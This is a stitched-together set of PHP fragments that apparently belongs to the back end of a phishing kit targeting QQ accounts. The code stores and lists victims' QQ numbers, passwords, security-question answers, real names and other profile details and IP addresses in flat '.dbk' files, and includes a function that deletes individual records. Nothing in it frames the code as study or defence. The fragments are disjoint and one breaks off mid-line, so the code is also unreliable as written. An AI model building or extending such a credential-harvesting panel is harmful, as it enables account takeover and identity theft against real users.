function writeSecurity($qq, $content) { $o = getSecurity(); $o = json_decode($o, true); $index = 0; if ($o == null) { $o = array(); array_push($o, array("qq" => $qq, "content" => $content)); } else { foreach ($o as $key => $value) { $flag = 0; if ($value['qq'] == $qq) { $flag++; $index = $key; break; } } } if ($flag <= 0) { array_push($o, array("qq" => $qq, "content" => $content)); } else { $o[$index]['content'] = $content; } file_put_contents("security.dbk", json_encode($o)); }
</div> <table class="altrowstable" style="margin-top:10px;" id="alternatecolor"> <tr> <th>QQ</th> <th>密码</th> <th>时间</th> <th>密保</th> <th>资料</th> <th>IP</th> <th>操作</th> </tr> <?php $qqlist = getAllQQ(); $qqlist = json_decode($qqlist); $securityList = json_decode(getSecurity()); // $detailList=json_decode(getDetail()); $content = ''; $detailInfo = ''; function formatDetail($detail, $qq) { $detailList = $detail[0]['detail']; $html = "<table style=\"width:100%;\">"; foreach ($detailList as $key => $value) { if (is_array($value)) { foreach ($value as $key1 => $value1) { if ($key1 === '真实姓名') { $index = $key + 1; $html .= "<td ref=\"{$index}-{$qq}\" class=\"detail_list_title\" style=\"cursor:pointer\"><strong>历史记录{$index}</strong></td>"; } $html .= "<tr class=\"detail-list detail-{$key1}-{$index}-{$qq}\"><td>{$key1}:<strong>" . $value1 . "</strong></td></td>";
function unlinkQQ($qq) { if (file_exists("detail/{$qq}.txt")) { unlink("detail/{$qq}.txt"); } else { // return false; } $qqList = json_decode(getAllQQ()); $securityList = json_decode(getSecurity()); $index = 0; $flag = false; if (is_array($qqList)) { foreach ($qqList as $key => $value) { if ($value->qq == $qq) { $index = $key; $flag = true; } } if ($flag) { array_splice($qqList, $index, 1); array_splice($securityList, $index, 1); return file_put_contents("security.dbk", json_encode($securityList)) && file_put_contents("qqdata.dbk", json_encode($qqList)); } } else { return false; } }